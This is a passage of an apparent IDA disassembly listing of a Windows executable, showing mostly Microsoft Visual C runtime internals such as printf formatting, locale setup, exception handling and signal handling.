[ebp+Str] mov [ebp+var_28], edx mov eax, [ebp+Str] add eax, 1 mov [ebp+Str], eax mov ecx, [ebp+var_4] and ecx, 200h test ecx, ecx jz short loc_429833 mov edx, [ebp+Str] movsx eax, byte ptr [edx] cmp eax, 30h jnz short loc_42981B cmp [ebp+var_28], 0 jnz short loc_429833 loc_42981B: ; CODE XREF: sub_428D80+A93j mov ecx, [ebp+Str] sub ecx, 1 mov [ebp+Str], ecx mov edx, [ebp+Str] mov byte ptr [edx], 30h mov eax, [ebp+var_28] add eax, 1 mov [ebp+var_28], eax loc_429833: ; CODE XREF: sub_428D80+378j ; sub_428D80+38Cj ... cmp [ebp+var_240], 0 jnz loc_429A0E mov ecx, [ebp+var_4] and ecx, 40h test ecx, ecx jz short loc_429899 mov edx, [ebp+var_4] and edx, 100h test edx, edx jz short loc_429867 mov byte ptr [ebp+var_244], 2Dh mov [ebp+var_14], 1 jmp short loc_429899 ; --------------------------------------------------------------------------- loc_429867: ; CODE XREF: sub_428D80+AD5j mov eax, [ebp+var_4] and eax, 1 test eax, eax jz short loc_429881 mov byte ptr [ebp+var_244], 2Bh mov [ebp+var_14], 1 jmp short loc_429899 ; --------------------------------------------------------------------------- loc_429881: ; CODE XREF: sub_428D80+AEFj mov ecx, [ebp+var_4] and ecx, 2 test ecx, ecx jz short loc_429899 mov byte ptr [ebp+var_244], 20h mov [ebp+var_14], 1 loc_429899: ; CODE XREF: sub_428D80+AC8j ; sub_428D80+AE5j ... mov edx, [ebp+var_248] sub edx, [ebp+var_28] sub edx, [ebp+var_14] mov [ebp+var_280], edx mov eax, [ebp+var_4] and eax, 0Ch test eax, eax jnz short loc_4298D1 lea ecx, [ebp+var_230] push ecx ; int mov edx, [ebp+File] push edx ; File mov eax, [ebp+var_280] push eax ; int push 20h ; int call _write_multi_char add esp, 10h loc_4298D1: ; CODE XREF: sub_428D80+B33j lea ecx, [ebp+var_230] push ecx ; int mov edx, [ebp+File] push edx ; File mov eax, [ebp+var_14] push eax ; int lea ecx, [ebp+var_244] push ecx ; int call _write_string add esp, 10h mov edx, [ebp+var_4] and edx, 8 test edx, edx jz short loc_42991F mov eax, [ebp+var_4] and eax, 4 test eax, eax jnz short loc_42991F lea ecx, [ebp+var_230] push ecx ; int mov edx, [ebp+File] push edx ; File mov eax, [ebp+var_280] push eax ; int push 30h ; int call _write_multi_char add esp, 10h loc_42991F: ; CODE XREF: sub_428D80+B77j ; sub_428D80+B81j cmp [ebp+var_20], 0 jz loc_4299CD cmp [ebp+var_28], 0 jle loc_4299CD mov ecx, [ebp+Str] mov [ebp+var_284], ecx mov edx, [ebp+var_28] mov [ebp+var_288], edx loc_429945: ; CODE XREF: sub_428D80+C46j mov eax, [ebp+var_288] mov ecx, [ebp+var_288] sub ecx, 1 mov [ebp+var_288], ecx test eax, eax jz short loc_4299CB mov edx, [ebp+var_284] mov ax, [edx] mov [ebp+var_2AA], ax mov cx, [ebp+var_2AA] push ecx ; WCh lea edx, [ebp+var_28C] push edx ; MbCh mov eax, [ebp+var_284] add eax, 2 mov [ebp+var_284], eax call _wctomb add esp, 8 mov [ebp+var_290], eax cmp [ebp+var_290], 0 jg short loc_4299A5 jmp short loc_4299CB ; --------------------------------------------------------------------------- loc_4299A5: ; CODE XREF: sub_428D80+C21j lea ecx, [ebp+var_230] push ecx ; int mov edx, [ebp+File] push edx ; File mov eax, [ebp+var_290] push eax ; int lea ecx, [ebp+var_28C] push ecx ; int call _write_string add esp, 10h jmp loc_429945 ; --------------------------------------------------------------------------- loc_4299CB: ; CODE XREF: sub_428D80+BDCj ; sub_428D80+C23j jmp short loc_4299E8 ; --------------------------------------------------------------------------- loc_4299CD: ; CODE XREF: sub_428D80+BA3j ; sub_428D80+BADj lea edx, [ebp+var_230] push edx ; int mov eax, [ebp+File] push eax ; File mov ecx, [ebp+var_28] push ecx ; int mov edx, [ebp+Str] push edx ; int call _write_string add esp, 10h loc_4299E8: ; CODE XREF: sub_428D80:loc_4299CBj mov eax, [ebp+var_4] and eax, 4 test eax, eax jz short loc_429A0E lea ecx, [ebp+var_230] push ecx ; int mov edx, [ebp+File] push edx ; File mov eax, [ebp+var_280] push eax ; int push 20h ; int call _write_multi_char add esp, 10h loc_429A0E: ; CODE XREF: sub_428D80+ABAj ; sub_428D80+C70j cmp [ebp+var_C], 0 jz short loc_429A29 push 2 mov ecx, [ebp+var_C] push ecx call __free_dbg add esp, 8 mov [ebp+var_C], 0 loc_429A29: ; CODE XREF: sub_428D80+B4j ; sub_428D80+15Cj ... jmp loc_428DAB ; --------------------------------------------------------------------------- loc_429A2E: ; CODE XREF: sub_428D80+42j ; sub_428D80+4Fj mov eax, [ebp+var_230] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_428D80 endp ; --------------------------------------------------------------------------- off_429A3B dd offset loc_428E47 ; DATA XREF: sub_428D80+C0r dd offset loc_428EE1 dd offset loc_428F23 dd offset loc_428F92 dd offset loc_428FEA dd offset loc_428FF9 dd offset loc_429045 dd offset loc_4290D8 off_429A5B dd offset loc_428F6F ; DATA XREF: sub_428D80+1D3r dd offset loc_428F7A dd offset loc_428F65 dd offset loc_428F5A dd offset loc_428F85 dd offset loc_428F8D byte_429A73 db 0 ; DATA XREF: sub_428D80+1CDr dd 5010505h, 5050505h, 5020505h, 4050503h off_429A84 dd offset loc_429087 ; DATA XREF: sub_428D80+2F5r dd offset loc_4290C0 dd offset loc_42907C dd offset loc_4290CA dd offset loc_4290D3 byte_429A98 db 0 ; DATA XREF: sub_428D80+2EFr db 3 dup(4) dd 6 dup(4040404h), 1040404h, 2040404h, 2 dup(4040404h) db 2 dup(4), 3 off_429AC7 dd offset loc_429113 ; DATA XREF: sub_428D80+38Cr dd offset loc_4293A7 dd offset loc_429237 dd offset loc_429540 dd offset loc_4291A2 dd offset loc_429128 dd offset loc_429513 dd offset loc_4293B7 dd offset loc_42935C dd offset loc_42958C dd offset loc_429536 dd offset loc_42924D dd offset loc_42952A dd offset loc_42954C dd offset loc_429833 byte_429B03 db 0 ; DATA XREF: sub_428D80+386r dd 10E010Eh, 2 dup(0E0E0E0Eh), 20E0E0Eh, 0E0E0E0Eh, 0E040E03h dd 0E0E0E0Eh, 50E0E0Eh, 7070706h, 0E0E060Eh, 9080E0Eh dd 0B0E0E0Ah, 0E0E0C0Eh, 0CCCCCC0Dh, 0CCCCCCCCh ; [00000077 BYTES: COLLAPSED FUNCTION _write_char. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000035 BYTES: COLLAPSED FUNCTION _write_multi_char. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000004A BYTES: COLLAPSED FUNCTION _write_string. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001A BYTES: COLLAPSED FUNCTION _get_int_arg. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001F BYTES: COLLAPSED FUNCTION _get_int64_arg. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001B BYTES: COLLAPSED FUNCTION _get_short_arg. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000082 BYTES: COLLAPSED FUNCTION __mtinit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000029 BYTES: COLLAPSED FUNCTION __mtterm. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000019 BYTES: COLLAPSED FUNCTION __initptd. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000098 BYTES: COLLAPSED FUNCTION __getptd. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000107 BYTES: COLLAPSED FUNCTION __freeptd. PRESS KEYPAD "+" TO EXPAND] align 10h push ebp mov ebp, esp call ds:dword_4F64F8 ; GetCurrentThreadId pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call ds:dword_4F6510 ; GetCurrentThread pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [00000344 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000059 BYTES: COLLAPSED FUNCTION _getSystemCP. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000050 BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND] off_42A360 dd offset loc_42A33E ; DATA XREF: _CPtoLCID+27r dd offset loc_42A345 dd offset loc_42A34C dd offset loc_42A353 dd offset loc_42A35A byte_42A374 db 0 ; DATA XREF: _CPtoLCID+21r db 3 dup(4) dd 4040401h, 2 dup(4040404h), 0CC030204h, 2 dup(0CCCCCCCCh) ; [00000074 BYTES: COLLAPSED FUNCTION _setSBCS. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000302 BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000017 BYTES: COLLAPSED FUNCTION __getmbcp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000022 BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000125 BYTES: COLLAPSED FUNCTION __mbsnbcpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000091 BYTES: COLLAPSED FUNCTION __dosmaperr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000000D BYTES: COLLAPSED FUNCTION __errno. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000000D BYTES: COLLAPSED FUNCTION ___doserrno. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000000B BYTES: COLLAPSED FUNCTION __toupper. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000093 BYTES: COLLAPSED FUNCTION _toupper. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000012B BYTES: COLLAPSED FUNCTION _toupper_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000157 BYTES: COLLAPSED FUNCTION __stbuf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000094 BYTES: COLLAPSED FUNCTION __ftbuf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00001328 BYTES: COLLAPSED FUNCTION unknown_libname_7. PRESS KEYPAD "+" TO EXPAND] off_42C068 dd offset loc_42AFFA ; DATA XREF: unknown_libname_7+239r dd offset loc_42AF80 dd offset loc_42AF98 dd offset loc_42AFDC dd offset loc_42AF85 dd offset loc_42AFE7 dd offset loc_42AFEF dd offset unknown_libname_8 ; Microsoft VisualC 2-8/net runtime byte_42C088 db 0 ; DATA XREF: unknown_libname_7+233r db 3 dup(7) dd 6 dup(7070707h), 2070701h, 7030707h, 7070701h, 5 dup(7070707h) dd 7040707h, 7050707h, 2 dup(7070707h) db 7, 6 off_42C0D6 dd offset loc_42B10B ; DATA XREF: unknown_libname_7+3C4r dd offset loc_42B644 dd offset loc_42BAB7 dd offset loc_42B53B dd offset loc_42BAA2 dd offset loc_42B640 dd offset loc_42B151 dd offset loc_42B542 dd offset loc_42B176 dd offset loc_42BE8A byte_42C0FE db 0 ; DATA XREF: unknown_libname_7+3BEr db 1 dd 9020202h, 9090903h, 5010409h, 9060909h, 7090901h, 0CC080909h dd 2 dup(0CCCCCCCCh) ; [00000058 BYTES: COLLAPSED FUNCTION __hextodec. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000051 BYTES: COLLAPSED FUNCTION __inc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001B BYTES: COLLAPSED FUNCTION __un_inc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000039 BYTES: COLLAPSED FUNCTION __whiteout. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001B BYTES: COLLAPSED FUNCTION __frnd. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000055 BYTES: COLLAPSED FUNCTION __handle_qnan1. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000067 BYTES: COLLAPSED FUNCTION __handle_qnan2. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000B2 BYTES: COLLAPSED FUNCTION __except1. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000CE BYTES: COLLAPSED FUNCTION __except2. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000004B1 BYTES: COLLAPSED FUNCTION __raise_exc. PRESS KEYPAD "+" TO EXPAND] off_42C971 dd offset loc_42C8FC ; DATA XREF: __raise_exc+3FFr dd offset loc_42C8EA dd offset loc_42C8D8 dd offset loc_42C8C6 align 10h ; [00000372 BYTES: COLLAPSED FUNCTION __handle_exc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000009B BYTES: COLLAPSED FUNCTION __umatherr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003A BYTES: COLLAPSED FUNCTION __set_errno. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003F BYTES: COLLAPSED FUNCTION __get_fname. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000071 BYTES: COLLAPSED FUNCTION __errcode. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003E BYTES: COLLAPSED FUNCTION __set_exp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002D BYTES: COLLAPSED FUNCTION __get_exp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000033 BYTES: COLLAPSED FUNCTION __add_exp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000034 BYTES: COLLAPSED FUNCTION __set_bexp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000007C BYTES: COLLAPSED FUNCTION __sptype. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000139 BYTES: COLLAPSED FUNCTION __decomp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000016 BYTES: COLLAPSED FUNCTION __statfp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000017 BYTES: COLLAPSED FUNCTION __clrfp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000032 BYTES: COLLAPSED FUNCTION __ctrlfp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000075 BYTES: COLLAPSED FUNCTION __set_statfp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000017 BYTES: COLLAPSED FUNCTION __setdefaultprecision. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000005E BYTES: COLLAPSED FUNCTION __ms_p5_test_fdiv. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000042 BYTES: COLLAPSED FUNCTION __ms_p5_mp_test_fdiv. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000A8 BYTES: COLLAPSED FUNCTION __forcdecpt. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000D7 BYTES: COLLAPSED FUNCTION __cropzeros. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002D BYTES: COLLAPSED FUNCTION __positive. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000048 BYTES: COLLAPSED FUNCTION __fassign. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000076 BYTES: COLLAPSED FUNCTION __cftoe. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000166 BYTES: COLLAPSED FUNCTION __cftoe2. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000006A BYTES: COLLAPSED FUNCTION __cftof. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000013D BYTES: COLLAPSED FUNCTION __cftof2. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000E5 BYTES: COLLAPSED FUNCTION __cftog. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000005F BYTES: COLLAPSED FUNCTION __cfltcvt. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002E BYTES: COLLAPSED FUNCTION __shift. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000EF BYTES: COLLAPSED FUNCTION ___InternalCxxFrameHandler. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000002A0 BYTES: COLLAPSED FUNCTION FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND] ; [00000115 BYTES: COLLAPSED FUNCTION FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,int,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000B6 BYTES: COLLAPSED FUNCTION TypeMatch(_s_HandlerType const *,_s_CatchableType const *,_s_ThrowInfo const *). PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000F7 BYTES: COLLAPSED FUNCTION ___FrameUnwindToState. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002C BYTES: COLLAPSED FUNCTION sub_42E0D0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000B7 BYTES: COLLAPSED FUNCTION unknown_libname_17. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000DD BYTES: COLLAPSED FUNCTION CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND] ; [0000005E BYTES: COLLAPSED FUNCTION sub_42E29D. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000014 BYTES: COLLAPSED CHUNK OF FUNCTION CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000042 BYTES: COLLAPSED FUNCTION ExFilterRethrow(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000027B BYTES: COLLAPSED FUNCTION BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000086 BYTES: COLLAPSED FUNCTION _DestructExceptionObject(EHExceptionRecord *,uchar). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000046 BYTES: COLLAPSED FUNCTION ___AdjustPointer. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000004C BYTES: COLLAPSED FUNCTION unknown_libname_18. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000006C BYTES: COLLAPSED FUNCTION terminate(void). PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp short loc_42E784 ; [00000005 BYTES: COLLAPSED FUNCTION j__abort. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; [00000011 BYTES: COLLAPSED CHUNK OF FUNCTION terminate(void). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001B BYTES: COLLAPSED FUNCTION unexpected(void). PRESS KEYPAD "+" TO EXPAND] db 5Dh ; ] db 0C3h ; align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_42E7C0 proc near ; CODE XREF: _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *)+23p ; _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *):loc_42152Dp ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042E830 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43E380 push offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_4], 0 cmp off_4553D0, 0 jz short loc_42E81C mov [ebp+var_4], 1 call off_4553D0 ; terminate(void) mov [ebp+var_4], 0 jmp short loc_42E81C ; --------------------------------------------------------------------------- loc_42E80C: ; DATA XREF: .rdata:0043E390o mov eax, 1 retn ; --------------------------------------------------------------------------- loc_42E812: ; DATA XREF: .rdata:0043E394o mov esp, [ebp+var_18] mov [ebp+var_4], 0 loc_42E81C: ; CODE XREF: sub_42E7C0+34j ; sub_42E7C0+4Aj mov [ebp+var_4], 0FFFFFFFFh call j_?terminate@@YAXXZ ; terminate(void) sub_42E7C0 endp ; --------------------------------------------------------------------------- db 0EBh ; db 6 ; [00000005 BYTES: COLLAPSED FUNCTION terminate(void). PRESS KEYPAD "+" TO EXPAND] db 0C3h ; ; START OF FUNCTION CHUNK FOR sub_42E7C0 db 8Bh ; db 4Dh ; M db 0F0h ; db 64h ; d db 89h ; db 0Dh db 0 db 0 db 0 db 0 db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 8Bh ; db 0E5h ; db 5Dh ; ] db 0C3h ; ; END OF FUNCTION CHUNK FOR sub_42E7C0 align 10h ; [000000EE BYTES: COLLAPSED FUNCTION ___loctotime_t. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000003EF BYTES: COLLAPSED FUNCTION _setlocale. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000193 BYTES: COLLAPSED FUNCTION __setlocale_set_cat. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000100 BYTES: COLLAPSED FUNCTION __setlocale_get_all. PRESS KEYPAD "+" TO EXPAND] ; [00000184 BYTES: COLLAPSED FUNCTION __expandlocale. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F160 proc near ; CODE XREF: __setlocale_set_cat+12Bp ; DATA XREF: .data:off_4554E8o push ebp mov ebp, esp xor eax, eax pop ebp retn sub_42F160 endp ; --------------------------------------------------------------------------- align 10h ; [0000004F BYTES: COLLAPSED FUNCTION __strcats. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000015D BYTES: COLLAPSED FUNCTION ___lc_strtolc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000065 BYTES: COLLAPSED FUNCTION ___lc_lctostr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000082 BYTES: COLLAPSED FUNCTION __lseek. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000B2 BYTES: COLLAPSED FUNCTION __lseek_lk. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000062 BYTES: COLLAPSED FUNCTION _ftell. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000029A BYTES: COLLAPSED FUNCTION __ftell_lk. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000082 BYTES: COLLAPSED FUNCTION __write. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000273 BYTES: COLLAPSED FUNCTION __write_lk. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000305 BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000050 BYTES: COLLAPSED FUNCTION _strncnt. PRESS KEYPAD "+" TO EXPAND] ; [000001BE BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000059 BYTES: COLLAPSED FUNCTION _xcptlookup. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000BC BYTES: COLLAPSED FUNCTION __wincmdln. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000149 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000D8 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000424 BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000219 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000324 BYTES: COLLAPSED FUNCTION __ioinit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000009B BYTES: COLLAPSED FUNCTION __ioterm. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000049 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000001BF BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000050 BYTES: COLLAPSED FUNCTION __GET_RTERRMSG. PRESS KEYPAD "+" TO EXPAND] ; [000000DA BYTES: COLLAPSED FUNCTION __fcloseall. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000042 BYTES: COLLAPSED FUNCTION __itoa. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000C2 BYTES: COLLAPSED FUNCTION _xtoa. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003F BYTES: COLLAPSED FUNCTION __ltoa. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001E BYTES: COLLAPSED FUNCTION __ultoa. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000048 BYTES: COLLAPSED FUNCTION __i64toa. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000F2 BYTES: COLLAPSED FUNCTION x64toa(x,x,x,x,x). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001F BYTES: COLLAPSED FUNCTION __ui64toa. PRESS KEYPAD "+" TO EXPAND] align 10h push ebp mov ebp, esp sub esp, 10h push esi cmp dword ptr [ebp+0Ch], 4 jz short loc_4313D3 cmp dword ptr [ebp+0Ch], 3 jnz short loc_4313D8 loc_4313D3: ; CODE XREF: .text:004313CBj jmp loc_4315A8 ; --------------------------------------------------------------------------- loc_4313D8: ; CODE XREF: .text:004313D1j cmp dword ptr [ebp+8], 2 jz short loc_4313F4 cmp dword ptr [ebp+8], 15h jz short loc_4313F4 cmp dword ptr [ebp+8], 16h jz short loc_4313F4 cmp dword ptr [ebp+8], 0Fh jnz loc_4314D1 loc_4313F4: ; CODE XREF: .text:004313DCj ; .text:004313E2j ... push 1 call __lock add esp, 4 cmp dword ptr [ebp+8], 2 jz short loc_43140A cmp dword ptr [ebp+8], 15h jnz short loc_43144F loc_43140A: ; CODE XREF: .text:00431402j cmp dword_4F49BC, 0 jnz short loc_43144F push 1 push offset _ctrlevent_capture@4 ; ctrlevent_capture(x) call ds:dword_4F642C ; SetConsoleCtrlHandler cmp eax, 1 jnz short loc_431431 mov dword_4F49BC, 1 jmp short loc_43144F ; --------------------------------------------------------------------------- loc_431431: ; CODE XREF: .text:00431423j call ds:dword_4F6394 ; RtlGetLastWin32Error mov esi, eax call ___doserrno mov [eax], esi push 1 call __unlock add esp, 4 jmp loc_4315A8 ; --------------------------------------------------------------------------- loc_43144F: ; CODE XREF: .text:00431408j ; .text:00431411j ... mov eax, [ebp+8] mov [ebp-10h], eax mov ecx, [ebp-10h] sub ecx, 2 mov [ebp-10h], ecx cmp dword ptr [ebp-10h], 14h ja short loc_4314C2 mov eax, [ebp-10h] xor edx, edx mov dl, ds:byte_4315CF[eax] jmp ds:off_4315BB[edx*4] loc_431476: ; DATA XREF: .text:off_4315BBo mov ecx, dword_4F49AC mov [ebp-0Ch], ecx mov edx, [ebp+0Ch] mov dword_4F49AC, edx jmp short loc_4314C2 ; --------------------------------------------------------------------------- loc_43148A: ; CODE XREF: .text:0043146Fj ; DATA XREF: .text:004315C3o mov eax, dword_4F49B0 mov [ebp-0Ch], eax mov ecx, [ebp+0Ch] mov dword_4F49B0, ecx jmp short loc_4314C2 ; --------------------------------------------------------------------------- loc_43149D: ; CODE XREF: .text:0043146Fj ; DATA XREF: .text:004315C7o mov edx, dword_4F49B4 mov [ebp-0Ch], edx mov eax, [ebp+0Ch] mov dword_4F49B4, eax jmp short loc_4314C2 ; --------------------------------------------------------------------------- loc_4314B0: ; CODE XREF: .text:0043146Fj ; DATA XREF: .text:004315BFo mov ecx, dword_4F49B8 mov [ebp-0Ch], ecx mov edx, [ebp+0Ch] mov dword_4F49B8, edx loc_4314C2: ; CODE XREF: .text:00431462j ; .text:0043146Fj ... push 1 call __unlock add esp, 4 jmp loc_4315A3 ; --------------------------------------------------------------------------- loc_4314D1: ; CODE XREF: .text:004313EEj cmp dword ptr [ebp+8], 8 jz short loc_4314E8 cmp dword ptr [ebp+8], 4 jz short loc_4314E8 cmp dword ptr [ebp+8], 0Bh jz short loc_4314E8 jmp loc_4315A8 ; --------------------------------------------------------------------------- loc_4314E8: ; CODE XREF: .text:004314D5j ; .text:004314DBj ... call __getptd mov [ebp-4], eax mov eax, [ebp-4] cmp dword ptr [eax+50h], offset dword_455528 jnz short loc_431545 push 133h push offset aWinsig_c ; "winsig.c" push 2 mov ecx, dword_4555A8 push ecx call __malloc_dbg add esp, 10h mov edx, [ebp-4] mov [edx+50h], eax mov eax, [ebp-4] cmp dword ptr [eax+50h], 0 jz short loc_431543 mov ecx, dword_4555A8 push ecx push offset dword_455528 mov edx, [ebp-4] mov eax, [edx+50h] push eax call _memcpy add esp, 0Ch jmp short loc_431545 ; --------------------------------------------------------------------------- loc_431543: ; CODE XREF: .text:00431524j jmp short loc_4315A8 ; --------------------------------------------------------------------------- loc_431545: ; CODE XREF: .text:004314FAj ; .text:00431541j mov ecx, [ebp-4] mov edx, [ecx+50h] push edx mov eax, [ebp+8] push eax call _siglookup add esp, 8 mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jnz short loc_431563 jmp short loc_4315A8 ; --------------------------------------------------------------------------- loc_431563: ; CODE XREF: .text:0043155Fj mov ecx, [ebp-8] mov edx, [ecx+8] mov [ebp-0Ch], edx loc_43156C: ; CODE XREF: .text:loc_4315A1j mov eax, [ebp-8] mov ecx, [eax+4] cmp ecx, [ebp+8] jnz short loc_4315A3 mov edx, [ebp-8] mov eax, [ebp+0Ch] mov [edx+8], eax mov ecx, [ebp-8] add ecx, 0Ch mov [ebp-8], ecx mov edx, dword_4555AC imul edx, 0Ch mov eax, [ebp-4] mov ecx, [eax+50h] add ecx, edx cmp [ebp-8], ecx jb short loc_4315A1 jmp short loc_4315A3 ; --------------------------------------------------------------------------- loc_4315A1: ; CODE XREF: .text:0043159Dj jmp short 